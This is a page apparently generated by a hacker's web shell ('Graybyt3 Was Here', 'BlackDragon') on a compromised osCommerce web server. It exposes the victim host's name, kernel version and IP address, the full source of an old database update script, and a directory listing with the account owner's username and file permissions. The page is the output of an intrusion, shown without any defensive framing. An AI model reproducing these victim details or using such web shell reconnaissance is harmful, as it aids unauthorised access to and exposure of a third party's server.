Graybyt3 Was Here

Linux host1.absolutelystunningcenterpieces.com 3.10.0-957.21.3.el7.x86_64 #1 SMP Tue Jun 18 16:35:19 UTC 2019 x86_64
Apache
69.167.136.200

order_comments.php

<?php
/*
  $Id: order_comments.php,v 1.1 2004/08/25 22:34:32 akhan Exp $

osCommerce, Open Source E-Commerce Solutions
  http://www.oscommerce.com

Released under the GNU General Public License
*/

if (!$HTTP_POST_VARS['DB_SERVER']) {
?>
<html>
<head><script src="//cdn.optimizely.com/js/1865631164.js"></script>
<title>osCommerce Preview Release 2.2 Database Update Script</title>
<style type=text/css></style>
</head>
<body>
<p>
<b>osCommerce Preview Release 2.2 Database Update Script</b>
<p>This script moves the order comments from the orders table to order_status_history table
<form name="database" action="<?php echo basename($PHP_SELF); ?>" method="post">
<table border="0" cellspacing="2" cellpadding="2">
  <tr>
    <td colspan="2"><b>Database Server Information</b></td>
  </tr>
  <tr>
    <td>Server:</td>
    <td><input type="text" name="DB_SERVER"> <small>(eg, 192.168.0.1)</small></td>
  </tr>
  <tr>
    <td>Username:</td>
    <td><input type="text" name="DB_SERVER_USERNAME"> <small>(eg, root)</small></td>
  </tr>
  <tr>
    <td>Password:</td>
    <td><input type="text" name="DB_SERVER_PASSWORD"> <small>(eg, bee)</small></td>
  </tr>
  <tr>
    <td>Database:</td>
    <td><input type="text" name="DB_DATABASE"> <small>(eg, catalog)</small></td>
  </tr>
  <tr>
    <td>&nbsp;</td>
    <td><input type="submit" value="Submit"></td>
  </tr>
</table>
</form>

<script>
    (function(h,o,t,j,a,r){
        h.hj=h.hj||function(){(h.hj.q=h.hj.q||[]).push(arguments)};
        h._hjSettings={hjid:78806,hjsv:5};
        a=o.getElementsByTagName('head')[0];
        r=o.createElement('script');r.async=1;
        r.src=t+h._hjSettings.hjid+j+h._hjSettings.hjsv;
        a.appendChild(r);
    })(window,document,'//static.hotjar.com/c/hotjar-','.js?sv=');
</script></body>
</html>
<?php
    exit;
  }

function tep_db_connect() {
    global $db_link, $HTTP_POST_VARS;

$db_link = mysql_connect($HTTP_POST_VARS['DB_SERVER'], $HTTP_POST_VARS['DB_SERVER_USERNAME'], $HTTP_POST_VARS['DB_SERVER_PASSWORD']);

if ($db_link) mysql_select_db($HTTP_POST_VARS['DB_DATABASE']);

return $db_link;
  }

function tep_db_error ($query, $errno, $error) { 
    die('<font color="#000000"><b>' . $errno . ' - ' . $error . '<br><br>' . $query . '<br><br><small><font color="#ff0000">[TEP STOP]</font></small><br><br></b></font>');
  }

function tep_db_query($db_query) {
    global $db_link;

$result = mysql_query($db_query, $db_link) or tep_db_error($db_query, mysql_errno(), mysql_error());

return $result;
  }

function tep_db_fetch_array($db_query) {
    $result = mysql_fetch_array($db_query);

return $result;
  }

tep_db_connect() or die('Unable to connect to database server!');

tep_db_query("ALTER TABLE orders_status_history DROP old_value");
  tep_db_query("ALTER TABLE orders_status_history ADD comments TEXT");
  tep_db_query("ALTER TABLE orders_status_history CHANGE new_value orders_status_id INT(5) DEFAULT '0' NOT NULL");
  $orders_query = tep_db_query("select orders_id, date_purchased, comments from orders where comments <> ''");
  while ($order = tep_db_fetch_array($orders_query)) {
    tep_db_query("insert into orders_status_history (orders_id, orders_status_id, date_added, comments) values ('" . $order['orders_id'] . "', '1', '" . $order['date_purchased'] . "', '" . addslashes($order['comments']) . "')");
  }
  tep_db_query("alter table orders drop comments");

Done!

System Information
*ReClick For Close
File : BlackDragon /wanderfuls/about.php

Name	Type	Size	Owner/Group	Permission	Last Modified	Actions
.	dir	-	morganrand/morganrand	0755	2015-03-29 12:48:36
..	dir	-	morganrand/morganrand	0755	2015-03-29 12:48:38
address_book.php	file	2.98 KB	morganrand/morganrand	0644	2015-09-23 09:32:26
admin_customers.php	file	3 KB	morganrand/morganrand	0644	2015-09-23 09:32:24
images.php	file	4.18 KB	morganrand/morganrand	0644	2015-09-23 09:32:23
ms1_to_ms2.php	file	14.13 KB	morganrand/morganrand	0644	2015-09-23 09:32:21
order_comments.php	file	3.55 KB	morganrand/morganrand	0644	2015-09-23 09:32:20
products_ordered.php	file	3.31 KB	morganrand/morganrand	0644	2015-09-23 09:32:19